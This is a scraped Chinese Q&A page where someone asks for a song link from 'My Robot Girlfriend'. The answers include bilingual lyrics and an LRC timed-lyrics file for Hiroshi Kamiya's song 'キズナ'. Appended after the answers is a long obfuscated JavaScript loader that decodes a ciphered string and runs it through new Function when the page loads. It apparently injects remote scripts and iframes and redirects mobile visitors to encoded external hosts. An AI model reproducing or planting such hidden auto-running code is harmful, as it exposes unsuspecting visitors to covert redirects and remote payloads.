求《我的机器人女友》里面一首歌的链接

2024-11-19 03:56:49
推荐回答(3个)
回答(1):

「キズナ」(绊)
アルバム 1st Single『For myself』2010.12.15
作词:春和文
作•编曲:増田武史
歌:神谷浩史
翻訳:roii
Yurari yurari to nobite yuju kage
ゆらりゆらりと伸びてゆく影
「飘飘忽忽,渐伸渐长的影子」
Hitori bocchide aruku kaerimichi
ひとりぼっちで歩く帰り道
「一歩一歩,独自走著的帰途」
Omoi toorini anohi no yumeni
思い通りにあの日の梦に
「回忆想起我们过去的梦想」
Bokuwa chanto jikaidu ite iruno darouka
仆はちゃんと近づいているのだろうか…
「我好像离它又走近了一歩」
Ano toki isshoni katatta yumewo
あの时一绪に语った梦を
「过去我们一起聊过的梦想」
Itsuno hika kanaete miserusa
いつの日か叶えてみせるさ
「究竟在什麼时候才能实现」

Kitto kitto hanarete itemo
きっときっと离れていても
「一定一定,就算现在分开了」
Itsudatte bokurawa isshonisa
いつだって仆らは一绪さ
「总有一日,我们还能在一起」
Sotto sotto kokorono nakate
そっとそっと心のなかで
「默默默默,隐藏在心底之中」
Kimiga ganbatteru sugata
君が顽张ってる姿(すがた)
「你奋斗的英姿」
Omoutabi hora
想うたび ほら
「一直想著 你看」
Tsuyoku nareruyo
强くなれるよ
「我也变坚强了」

Orange irono yuuhi wo abite
オレンジ色の夕日を浴びて
「沐浴在橙红色的夕阳之中」
Kagayaite Poplar namiki michi
辉いてくポプラ并木道(なみきみち)
「在闪闪发光的白杨庭径上」
Tsunaideta teno nukumori wa mada
つないでた手のぬくもりはまだ
「从你紧握的手传来的温暖」
Imamo chanto kienai mama aru darouka
今もちゃんと消えないままあるだろうか…
「至今依然还没有消失的吧」
Moshimo tsumaduite mayotteru nara
もしも踬(つまづ)いて迷ってるなら
「假若有跌倒或迷惑的时候」
Bokuno kotowo omoi dashitesa
仆のことを思い出してさ
「那样的话就不妨想想我吧」
Kitto kitto tokiga sugitemo
#きっときっと时が过ぎても
「一定一定,就算时间过多久」
Itsumademo kawaranai kara
いつまでも変わらないから
「一直一直,都不曾发生改变」
Motto motto jibunwo shinjite
もっともっと自分を信じて
「更多更多,相信自己一下吧」
Yumewo kanaeta sono tokini aikawarazuna
梦を叶えたその时に相変わらずな
「实现梦想的时候仍旧可以」
Anohino mamano egaode aou
あの日のままの笑颜で逢おう#
「像过去那样笑著来再相逢」

Kitto kitto kono michi wa ima
きっときっとこの道は今
「一定一定,至今还在这路上」
Kimito bokuno kokorowo tsunagu
君と仆の心をつなぐ
「你的我的,两颗心还联系著」
Zutto zutto aruki tsuduke you
ずっとずっと歩き続けよう
「一直一直,就这麼走下去吧」
Hatenai ashitae tauduiteku kara
果てない明日へ続いてくから
「继续走向,没有终点的明天」
Reprat#

-------- 天籁の声 X hiroC --------
made by roii //2011.01.18
-------- おわり --------
[ti:キズナ]
[ar:神谷浩史]
[al:For myself]
[by:roii]

[00:00.84] 「キズナ」(绊)
[00:02.81]アルバム 1st Single『For myself』2010.12.15
[00:04.34]作词:春和文
[00:06.34]作•编曲:増田武史
[00:08.34]歌:神谷浩史
[00:10.34]翻訳:roii
[00:12.34]
[00:15.34]ゆらりゆらりと 「飘飘忽忽」
[00:19.75]伸びてゆく影 「渐伸渐长的影子」
[00:21.95]ひとりぼっちで 「一歩一歩」
[00:25.26]歩く帰り道 「独自走著的帰途」
[00:29.20]思い通りに 「回忆想起」
[00:32.18]あの日の梦に 「我们过去的梦想」
[00:34.75]仆はちゃんと 「我好像 离它又近了」
[00:38.01]近づいているのだろうか… 「一歩」
[00:42.55]あの时 一绪に 「过去 一起」
[00:45.89]语った梦を 「聊过的梦想」
[00:47.80]いつの日か 「在何时何日」
[00:51.27]叶えてみせるさ 「实现得到呢」
[00:54.26]
[00:54.76]きっと きっと 「一定一定」
[00:56.31]离れていても 「就算现在分开了」
[01:00.96]いつだって 「总有一日」
[01:02.78]仆らは一绪さ 「我们还能在一起」
[01:07.33]そっと そっと 「默默 默默」
[01:09.18]心のなかで 「隐藏在心底之中」
[01:13.46]君が顽张ってる姿 「你奋斗的英姿」
[01:17.84]想うたび ほら 「一直想著 你看」
[01:20.73]强くなれるよ 「我也变坚强了」
[01:26.47]
[01:29.58]オレンジ色の 「沐浴在」
[01:32.95]夕日を浴びて 「橙红色的夕阳之中」
[01:35.48]辉いてく 「在闪闪发光的」
[01:38.79]ポプラ并木道(なみきみち) 「白杨庭径上」
[01:42.60]つないでた手の 「从你紧握的手」
[01:45.61]ぬくもりはまだ 「传来的温暖」
[01:48.38]今もちゃんと 「至今依然还没有消失」
[01:51.54]消えないままあるだろうか…「的吧」
[01:56.20]もしも 踬(つまづ)いて 「假若有跌倒」
[01:59.33]迷ってるなら 「或迷惑的时候」
[02:01.61]仆のことを 「那样的话」
[02:04.68]思い出してさ 「就不妨想起我吧」
[02:07.41]
[02:08.41]きっと きっと 「一定一定」
[02:09.82]时が过ぎても 「就算时间过多久」
[02:14.26]いつまでも 「一直一直」
[02:16.30]変わらないから 「都不曾发生改变」
[02:21.19]もっと もっと 「更多更多」
[02:22.72]自分を信じて 「相信自己一下吧」
[02:27.05]梦を叶えたその时に 「实现梦想的时候」
[02:31.44]相変わらずな 「仍旧可以」
[02:34.54]あの日のままの 「像过去那样」
[02:41.25]笑颜で逢おう 「笑著来再相逢」
[02:46.29]
[03:09.19]
[03:11.84]きっと きっと 「一定一定」
[03:13.94]この道は今 「至今还在这路上」
[03:18.54]君と仆の 「你的我的」
[03:20.31]心をつなぐ 「两颗心还联系著」
[03:24.43]ずっと ずっと 「一直一直」
[03:26.67]歩き続けよう 「就这麼走下去吧」
[03:31.07]果てない明日へ 「向没有终点的明天」
[03:33.09]続いてくから 「继续走下去」
[03:36.31]きっと きっと 「一定一定」
[03:37.80]时が过ぎても 「就算时间过多久」
[03:42.44]いつまでも 「一直一直」
[03:44.17]変わらないから 「都不会发生改变」
[03:48.85]もっと もっと 「更多更多」
[03:50.58]自分を信じて 「相信自己一下吧」
[03:54.98]梦を叶えたその时に 「实现梦想的时候」
[03:59.33]相変わらずな 「仍旧可以」
[04:02.28]あの日のままの 「像过去那样」
[04:08.98]笑颜で逢おう 「笑著来再相逢」
[04:15.89]
[04:20.14]-------- 天籁の声 X hiroC --------
[04:21.32]made by roii //2011.01.18
[04:22.35]-------- おわり --------
[04:23.63]

回答(2):

度娘也找不到啊...

回答(3):

到酷狗就能找到

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();